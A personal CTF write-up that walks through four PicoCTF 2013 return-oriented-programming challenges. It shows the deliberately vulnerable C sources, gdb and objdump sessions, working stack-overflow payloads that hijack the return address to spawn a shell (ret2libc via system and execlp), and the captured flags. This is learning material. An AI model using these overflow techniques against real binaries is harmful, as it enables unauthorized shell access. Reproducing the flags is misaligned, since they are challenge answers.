Practice for my first ROP from the nice people from PicoCTF2013 with the help from very nice tutorial
Level 1
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int not_called() {
return system("/bin/bash");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
void be_nice_to_people() {
// /bin/sh is usually symlinked to bash, which usually drops privs. Make
// sure we don't drop privs if we exec bash, (ie if we call system()).
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
int main(int argc, char** argv) {
be_nice_to_people(); // 24 : privledges stuff , ignore them
vulnerable_function(); // overflow this, get shell
write(STDOUT_FILENO, "Hello, World\n", 13);
}
The target here is to call not_called()
by overflowing
read(STDIN_FILENO, buf, 256);
but instead of filling ret
with the address of not_called()
we gonna do some debugging for clearer representation.
The idea
Smashing the stack for fun and profit
void callme(int a, int b, int c){
char buffer[10];
return
}
int main(){
callme(1,2,3);
}
when calling function callme, main does the following
asm
push $3
push $2
push $1
call callme
... ; continue whatever main does
if you familiar with stack, this is how our memory look like now
stack top <--[ whatever callme() does happen here ][ 1 ][ 2 ][ 3 ] stack bottom
You can imagine stack does this. However before call
is executed, the stack now look like this
stack top <--[buffer ... ][ sfp ][ ret ][ 1 ][ 2 ][ 3 ]
the interesting part is [ret]
, this is the pointer telling our computer where to continue next after callme()
returned.
if we can somehow replace [ret]
with some random pointer, the code will simply continue in random place.
In our case, we wish our program to continue on some function that we wish to execute. Lets verify the idea ..
Check from Debugger
First begin by compiling our souce code with
//char buf[128];
char buf[8]; // for explaination purpose
u24@u24:~/Desktop$ gcc -m32 -g ./rop1.c -o rop1 -fno-stack-protector
first look at the ASM code for our main function
u24@u24:~/Desktop$ gdb rop1
(gdb) disass main
Dump of assembler code for function main:
0x0804853d <+0>: push %ebp
0x0804853e <+1>: mov %esp,%ebp
0x08048540 <+3>: and $0xfffffff0,%esp
0x08048543 <+6>: sub $0x10,%esp
0x08048546 <+9>: call 0x8048514 <be_nice_to_people>
0x0804854b <+14>: call 0x80484f1 <vulnerable_function> #we calling here
0x08048550 <+19>: movl $0xd,0x8(%esp) #when vulnerable function return it should be here
0x08048558 <+27>: movl $0x804860a,0x4(%esp)
0x08048560 <+35>: movl $0x1,(%esp)
0x08048567 <+42>: call 0x80483c0 <write@plt>
0x0804856c <+47>: leave
0x0804856d <+48>: ret
End of assembler dump.
(gdb) p (void *)not_called
$10 = (void *) 0x80484dd <not_called> #we will need it later
(gdb) break 12 # stop our program on line 12
(gdb) r
(gdb) set buf = "AAAA" #mark our pointer so they are easier to spot
(gdb) x/32 $esp #examine memory of stack
0xffffcf50: 0x000003e8 0x000003e8 0x000003e8 0x08048341
0xffffcf60: 0xffffd232 0x0000002f [0x41414141] 0x00000000
0xffffcf70: 0x00000001 0xffffd034 0xffffcf98 [0x08048550]
0xffffcf80: 0xf7fb13c4 0xf7ffd000 0x0804857b 0xf7fb1000
0xffffcf90: 0x08048570 0x00000000 0x00000000 0xf7e1fa83
0xffffcfa0: 0x00000001 0xffffd034 0xffffd03c 0xf7feacea
0xffffcfb0: 0x00000001 0xffffd034 0xffffcfd4 0x0804a01c
0xffffcfc0: 0x0804825c 0xf7fb1000 0x00000000 0x00000000
(gdb)
I highlighted the interesting part in the stack
0xffffcf60: 0xffffd232 0x0000002f [0x41414141] 0x00000000
1. This is the memory there buf
is stored
0xffffcf70: 0x00000001 0xffffd034 0xffffcf98 [0x08048550]
2. ret
pointer is located here as well, pointing to 0x08048550
is where we should go next after vulnerable_function
is called.We simply need to overwrite this pointer to where we wanted the program to go not_called()
(gdb) set *(int *)($ebp + 4) = 0x80484dd
(gdb) c
Continuing.
BBBB
u24@u24:~/Desktop$ whoami
u24
As you can see, we have dropped into shell, the idea are indeed correct.
Testing our idea for this
looking at our objdump for the binary file we have this
080484a4 <not_called>:
80484a4: 55 push %ebp
80484a5: 89 e5 mov %esp,%ebp
80484a7: 83 ec 18 sub $0x18,%esp
80484aa: c7 04 24 10 86 04 08 movl $0x8048610,(%esp)
80484b1: e8 ea fe ff ff call 80483a0 <system@plt>
80484b6: c9 leave
80484b7: c3 ret
080484b8 <vulnerable_function>:
80484b8: 55 push %ebp
80484b9: 89 e5 mov %esp,%ebp
80484bb: 81 ec 98 00 00 00 sub $0x98,%esp #allocate 0x98 (152) byte for stack
80484c1: c7 44 24 08 00 01 00 movl $0x100,0x8(%esp) # push 256 as param 3 for read
80484c8: 00
80484c9: 8d 85 78 ff ff ff lea -0x88(%ebp),%eax #reference to &buf = $ebp - 0x88
80484cf: 89 44 24 04 mov %eax,0x4(%esp)
80484d3: c7 04 24 00 00 00 00 movl $0x0,(%esp)
80484da: e8 a1 fe ff ff call 8048380 <read@plt>
80484df: c9 leave
80484e0: c3 ret
our ret
pointer should be on &buf + 136 + 4(for $ebp)
hence, using the hint given
cat <(python -c 'print "my_exploit_string"') - | ./rop1
cat <(python -c 'print "A" * 140 + "\xa4\x84\x04\x08"') -| ./rop1
Level 2
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char * not_used = "/bin/bash";
int not_called() {
return system("/bin/date");
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 256);
}
void be_nice_to_people() {
// /bin/sh is usually symlinked to bash, which usually drops privs. Make
// sure we don't drop privs if we exec bash, (ie if we call system()).
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
int main(int argc, char** argv) {
be_nice_to_people();
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
apparently we want system
to call them as following
system(not_used)
and repeat with same trick in level 1.
lets look at some basic :
080484a4 <not_called>:
80484a4: 55 push %ebp
80484a5: 89 e5 mov %esp,%ebp
80484a7: 83 ec 18 sub $0x18,%esp
80484aa: c7 04 24 1a 86 04 08 movl $0x804861a,(%esp) # *$0x804861a = "/bin/date"
80484b1: e8 ea fe ff ff call 80483a0 <system@plt>
80484b6: c9 leave
80484b7: c3 ret
looking at data section of the binary to verify our claim
Contents of section .rodata:
8048608 03000000 01000200 2f62696e 2f626173 ......../bin/bas
8048618 68002f62 696e2f64 61746500 48656c6c h./bin/date.Hell
8048628 6f2c2057 6f726c64 0a00 o, World..
plan 1:
- trick program to execute
not_called
, repeat level 1 trick - can't trick system to use
not_called
as parameter
/fail
plan 2:
- push
not_used
into stack. - trick program to execute
system
bypassingnot_called
.
counting the address of "/bin/bash" we get ... 0x8048610
cat <(python -c 'print "A" * 140 + "\xb1\x84\x04\x08" + "\x10\x86\x04\x08"') -| ./rop2
essentially, our ROP did this two thing
80484aa: c7 04 24 1a 86 04 08 movl "\x10\x86\x04\x08",(%esp) # *$0x8048610 = "/bin/bash"
80484b1: e8 ea fe ff ff call 80483a0 <system@plt>
Level 3
#undef _FORTIFY_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf,256);
}
void be_nice_to_people() {
// /bin/sh is usually symlinked to bash, which usually drops privs. Make
// sure we don't drop privs if we exec bash, (ie if we call system()).
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
int main(int argc, char** argv) {
be_nice_to_people();
vulnerable_function();
write(STDOUT_FILENO, "Hello, World\n", 13);
}
$ export | grep SHELL
export SHELL="/bin/sh"
$ ln -s /problems/ROP_3_7f3312fe43c46d26/rop3 rop3
$ ./getenvaddr SHELL ./rop3
SHELL will be at 0xffffd881
$ gdb rop3
(gdb) break main
(gdb) run
(gdb) print system
$1 = {<text variable, no debug info>} 0xf7e68250 <system>
(gdb) print exit
$2 = {<text variable, no debug info>} 0xf7e5bf30 <exit>
$ (python -c 'print "\x90"*140 + "\x50\x82\xe6\xf7" + "\x30\xbf\xe5\xf7" + "\x87\xd8\xff\xff"'; cat) | ./rop3
cat /problems/ROP_3_7f3312fe43c46d26/key
rop_rop_rop_all_the_way_home
ROP4
$ cat /problems/ROP_4_887f7f28b1f64d7e/rop4.c
#include <stdio.h>
#include <unistd.h>
#include <string.h>
char exec_string[20];
void exec_the_string() {
execlp(exec_string, exec_string, NULL);
}
void call_me_with_cafebabe(int cafebabe) {
if (cafebabe == 0xcafebabe) {
strcpy(exec_string, "/sh");
}
}
void call_me_with_two_args(int deadbeef, int cafebabe) {
if (cafebabe == 0xcafebabe && deadbeef == 0xdeadbeef) {
strcpy(exec_string, "/bin");
}
}
void vulnerable_function() {
char buf[128];
read(STDIN_FILENO, buf, 512);
}
void be_nice_to_people() {
// /bin/sh is usually symlinked to bash, which usually drops privs. Make
// sure we don't drop privs if we exec bash, (ie if we call system()).
gid_t gid = getegid();
setresgid(gid, gid, gid);
}
int main(int argc, char** argv) {
exec_string[0] = '\0';
be_nice_to_people();
vulnerable_function();
}
$ ln -s /problems/ROP_4_887f7f28b1f64d7e/rop4 rop4
$ ./getenvadrr SHELL ./rop4
SHELL will be at 0xffffd881
$ objdump -t rop4 | grep execlp
08053ab0 g F .text 0000012a execlp
$ (python -c 'print "\x90"*140 + "\xb0\x3a\x05\x08" + "\x87\xd8\xff\xff"*2 + "\x00"*4'; cat) | ./rop4
cat /problems/ROP_4_887f7f28b1f64d7e/key
fluent_in_roponese